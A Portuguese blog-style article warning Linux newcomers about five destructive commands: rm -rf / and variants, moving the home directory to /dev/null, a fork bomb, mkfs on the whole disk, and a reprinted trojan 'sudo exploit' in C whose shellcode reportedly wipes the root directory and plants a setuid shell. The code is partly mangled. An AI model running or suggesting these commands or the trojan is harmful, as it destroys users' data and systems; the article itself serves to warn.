Os 5 comandos fatais do Linux

1. O rei de todos os males:

# rm -rf /

P. O que faz um rm?
A. Remove um arquivo

P. O que é r?
A. Recursão. Isso significa que dentro de uma pasta, de outra pasta naquela pasta e assim por diante.

P. O que é f?
A. Force. Isso significa que você está dizendo para o comando: "Nunca me perguntar nada. Basta fazer o que eu mandar fazer".

P. O que é /?
A. Seu diretório raiz!

Veja o que o comando faz: recursivamente remove todos os arquivos dentro do seu diretório raiz sem chatear você - "Devo apagar isso, sim ou não?".

Existem várias versões do rm disponíveis, tais como:

# rm -rf .
# rm -rf *

Pouco conhecimento é perigoso!

Que tal isso? Como você faria para apagar todos os arquivos ocultos de uma pasta, sabendo que os arquivos ocultos no Linux começam com .? Você poderia pensar em um comando como esse:

# rm - .*

Nããããããoooooo!

Esse comando irá apagar todos os arquivos um nível acima do diretório atual.

2. Como fazer um backup do seu diretório home ou algumas pastas? Nunca tente fazer qualquer coisa como:

# mv /home/seunome/* /dev/null

P. O que é mv?
A. Mover arquivos.

P. O que é /dev/null?
A. Nulo, não significa nada. Em outras palavras, é um buraco-negro.

Se você executar o comando acima ele irá mover todos os arquivos dentro do seu diretório home para um buraco-negro, Hasta la vista baby!

 


3. Terminal Linux não é um brinquedo, é algo para aprender e fazer coisas produtivas. Eu só queria avisar que você não deve escrever nada bobo e apertar ENTER como esta bobagem:

:(){:|:&};:

Esses rostinhos, que mais parecem aqueles usados em chat, parecem inofensivos, mas no terminal eles são comandos. O comando acima executa processos diferentes causando o congelamento de seu computador. Você obterá uma espécie de "Blue Screen of Death", "Tela Azul da Morte"! (usuários do Windows conhecem ela muito bem).

4. Que tal criar um sistema de arquivos do Linux?

# mkfs.ext3 /dev/sda

Os dados de seu disco rígido sumirão e nunca voltarão. Isso foi uma festa de despedida para seus documentos, você acabou de executar algo similar a um "format C:*.*".

5. Você já ouviu falar que os olhos podem mentir? Bem, às vezes. O que você verá no seguinte arquivo escrito em C por alguém alegando ser uma correção de uma falha de segurança do "sudo" é na verdade a raiz de todo o mal.
...
#### NÃO SE ATREVA A COMPILAR ISSO E EXECUTAR ######
#### ESSE CÓDIGO LOCO FOI TIRADO DA SEGUINTE PAGINA ####
#### http://seclists.org/fulldisclosure/2007/Aug/0071.html ####
/*
* off by one ebp overwrite in sudo prompt parsing
function
* discovered by beyond security in 2007, thx ge
*
* to compile: gcc -pipe -o sobo sobo.c ; ./sobo
*
* please use responsibly! a patch has already been
sent
* upstream and a fix will be included in the next
sudo release
*
*/
#include
#include
#include
#include
#define SPROMPT "%u@%h> \%"
#define shellcode esp
#define RETS_NUM 246
#define NOPS_NUM 116
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
               = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
                 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
                 "xdfx81x68x8dx92xdfx54x5exf7x16xf7"
                 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
                 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
                 "xc0x40xebxf9xe8xbdxffxffx2fx62x69"
                 "x6ex2fx73x68x00x2dx63x00"
                 "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
void fill (char *buff, int size, unsigned long val) {
 unsigned long *ptr = (unsigned long *) buff;
 for (size /= sizeof (unsigned long); size > 0;
size--) *ptr++ = val;
}
unsigned long get_sp (void) {
 __asm__ ("lea esp, %eax");
}
char *exp (char nops_nums, char rets_nums, char
*shellcode) {
 int size = strlen (SPROMPT) + nops_nums + rets_nums
+ strlen (shellcode);
 unsigned char *nops = alloca (nops_nums);
 unsigned char *rets = alloca (rets_nums);
 unsigned long ret = get_sp ();
 static char exp_buffer [8192];
 /* ensure isatty() fails */
 close (0); close (1); close (2);
 fill (nops, (unsigned char) nops_nums, 0x90909090);
 fill (rets, (unsigned char) rets_nums, ret);
 if (size > sizeof (exp_buffer)) {
   fprintf (stderr, "buffer is too smalln");
   return NULL;
 }
 snprintf (exp_buffer, sizeof (exp_buffer),
"%s%s%s%s",
 SPROMPT, nops, shellcode, rets);
 return exp_buffer;
}
int main(int argv, char *argc[]) {
 char *exploit = exp (NOPS_NUM, RETS_NUM, shellcode);
 execl ("/usr/bin/sudo", "/usr/bin/sudo", "-b", "-p",
exploit, "/bin/false", NULL);
 /* shellroot should await you @ "HISTFILE=/dev/null
/tmp/.beyond -p" */
 return 0;
}

Então, esta é uma versão do código hexadecimal para "rm -rf / &". Isto faz nada mais nada menos que limpar o seu diretório raiz.

Estas são apenas algumas orientações para que você não seja enganado e pense que o Linux não presta, ele é muito poderoso e esse poder todo fica ao seu dispôr, por isso lembre-se do conselho do tio Ben.

Agradecimentos: Ruan Soares Apolinario

.